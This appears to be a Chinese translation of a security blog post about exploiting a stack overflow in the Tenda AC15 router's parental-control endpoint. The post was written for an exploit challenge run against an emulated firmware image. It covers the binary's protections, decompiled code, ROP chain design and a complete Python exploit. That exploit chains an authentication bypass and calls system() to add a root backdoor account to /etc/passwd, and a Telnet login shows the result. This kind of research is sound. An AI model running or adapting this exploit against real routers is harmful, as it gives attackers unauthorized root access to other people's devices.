深入物联网安全:Tenda AC15路由器缓冲区溢出漏洞分析与利用实践

本文详细记录了对Tenda AC15路由器中CVE-2024-2850漏洞的完整分析与利用过程,涵盖从漏洞环境搭建、逆向分析到最终构建ROP链实现权限提升的全技术细节。

漏洞背景与发现

在我们最近的公司活动中,Doyensec团队进行了一次地中海沿岸的巡航。作为安全研究人员,我们在享受旅途的同时也组织了一次名为“!exploitable”的漏洞利用挑战活动。该活动要求我们分析真实世界中的未知漏洞并尝试构建利用方案。挑战涵盖物联网、Web和二进制利用三个类别,我选择了物联网挑战,目标是分析Tenda AC15路由器中的一个缓冲区溢出漏洞(CVE-2024-2850)。

漏洞初步分析

根据公开的安全公告,该漏洞存在于/goform/saveParentControlInfo端点的urls参数中,被描述为栈缓冲区溢出。然而,我们立即发现公告中存在不一致之处:

  1. 截图显示urls参数内容被复制到通过malloc分配的缓冲区,这表明溢出应发生在堆上而非栈上
  2. 提供的PoC使用了参数u而非公告中描述的urls

环境搭建与验证

由于我们在船上只有不稳定的网络连接,无法按常规方式下载固件并通过QEMU模拟。幸运的是,我们使用了专门为漏洞利用练习设计的EMUX项目,它已经包含了Tenda AC15的易受攻击固件,并预先配置了网络和调试工具。

通过EMUX设置后,路由器控制面板暴露在127.0.0.1:20080。我们登录到控制面板,进入“家长控制”功能并创建新规则,确认了漏洞触发点。原始PoC无法直接工作,需要添加身份验证步骤并修复参数名。修正后,我们成功触发了崩溃。

深入逆向分析

二进制安全特性检查

我们提取了httpd二进制文件并使用pwntools的checksec检查安全标志:

1
2
3
4
5
Arch:     arm-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8000)

关键发现:

  • NX(不可执行)是唯一启用的缓解措施,防止从栈或堆执行代码
  • 未启用RELRO(重定位只读),GOT表可写
  • 无栈保护金丝雀
  • 无PIE(位置无关可执行),二进制始终加载在地址0x8000
  • 系统ASLR被禁用(/proc/sys/kernel/randomize_va_space值为0)

函数代码分析

使用Ghidra对saveParentControlInfo函数进行反编译和分析后,我们发现了关键问题。函数处理time参数的代码段如下:

1
2
3
4
5
6
7
8
if (*time_param != '\0') {
    for (int i = 0; i < 32; i++) {
        time_from[i] = '\0';
        time_to[i] = '\0';
    }
    sscanf(time_param,"%[^-]-%s",time_from,time_to);
    // ... 后续验证
}

time_fromtime_to都是在栈上分配的32字节缓冲区。sscanf使用格式字符串"%[^-]-%s",其中%[^-]匹配直到连字符的所有字符,%s在遇到空白字符时停止。这意味着time_from缓冲区可能被溢出,仅受空字节和连字符限制。

漏洞利用开发

初始尝试与问题

我们最初尝试用大量’A’字符填充time参数,但导致了strcpy中的段错误。分析发现,time_from缓冲区位于栈上,其后面是指向其他参数字符串的指针。溢出time_from会覆盖这些指针,当程序尝试解析这些参数时就会崩溃。

解决方案与ROP链构建

我们需要用有效的指针填充这些被覆盖的指针位置。由于二进制基地址0x8000转换为32位指针时包含空字节(会终止sscanf解析),我们选择使用栈地址。time_to的地址(0xbefff510)是理想选择,因为它:

  1. 位于time_from之前,不会被溢出覆盖
  2. 可以设置为单个数字如"1",在作为字符串、整数或布尔值解析时都有效

经过多次测试,我们确定了合适的填充量以控制程序计数器而不导致中间崩溃:

1
2
3
4
timeto_addr = p32(0xbefff510)
payload = b"A"*880
payload += timeto_addr * 17
payload += b"BBBB"

最终利用策略

由于NX保护启用,我们需要使用ROP(返回导向编程)技术。ARM架构中,函数参数通过寄存器传递,system()函数接收r0寄存器中的命令字符串指针。

我们需要:

  1. 在栈上写入命令字符串地址
  2. 将该地址加载到r0寄存器
  3. 在栈上写入system()函数地址
  4. 将该地址加载到pc寄存器

我们使用ropper查找合适的gadget,在libc.so中找到地址不含空字节的pop {r0, pc}指令。通过GDB获取__libc_system地址并计算命令字符串在栈上的位置。

完整利用代码

最终利用代码实现了通过添加后门用户到/etc/passwd文件来获得Telnet访问权限:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
import requests
import random
import sys
import struct

p32 = lambda addr: struct.pack("<I", addr)

def gen_payload():
    timeto_addr = p32(0xbefff510)      # time_to字符串在栈上的地址
    system_addr = p32(0x4025c270)      # system函数地址
    cmd = "echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd"
    cmd_str_addr = p32(0xbefff8e0)     # 命令字符串在栈上的地址
    pop_r0_pc = p32(0x4023fb80)        # 'pop {r0, pc}' gadget地址
    
    payload = b"A"*880
    payload += timeto_addr * 17
    payload += pop_r0_pc
    payload += cmd_str_addr
    payload += system_addr
    payload += cmd.encode()
    
    return payload

def exploit(target: str):
    name = "test" + ''.join([str(i) for i in [random.randint(0,9) for _ in range(5)]])
    res = requests.post(
        f"http://{target}/goform/saveParentControlInfo?img/main-logo.png", # 使用CVE-2021-44971认证绕过
        data={
            "deviceId":"00:00:00:00:00:02",
            "deviceName":name,
            "enable":0,
            "time": gen_payload() + b"-1",
            "url_enable":1,
            "urls":"x.com",
            "day":"1,1,1,1,1,1,1",
            "limit_type":1
            }
    )
    print("Exploit sent")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} IP:PORT")
        sys.exit()
    target = sys.argv[1]
    try:
        input("Press enter to send exploit")
        exploit(target)
        print("Done! Login to Telnet with backdoor:hunter2")
    except Exception as e:
        print(e)
        print("Connection closed unexpectedly")

利用结果验证

利用成功后,我们通过Telnet连接到路由器并验证了后门用户的添加:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ telnet 127.0.0.1 20023
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Tenda login: backdoor
Password:
~ # cat /etc/passwd
root:$1$nalENqL8$jnRFwb1x5S.ygN.3nwTbG1:0:0:root:/:/bin/sh
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
# ... 其他用户
backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh

总结与发现

活动结束后,我们进一步调查发现,我们最终利用的漏洞实际上是已知的CVE-2020-13393。据我们所知,我们的PoC是该特定端点的首个有效利用。尽管该平台已有大量其他利用方式,这个挑战仍然是一次宝贵的学习经历。

通过这次活动,我们深入了解了ARM架构,提升了漏洞利用开发技能。在不可靠的网络环境下协作,使我们能够分享知识并从不同角度解决问题。这次经历展示了即使面对已有公开漏洞的系统,通过深入分析和创造性思维,仍然可以发现新的攻击路径和利用方法。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计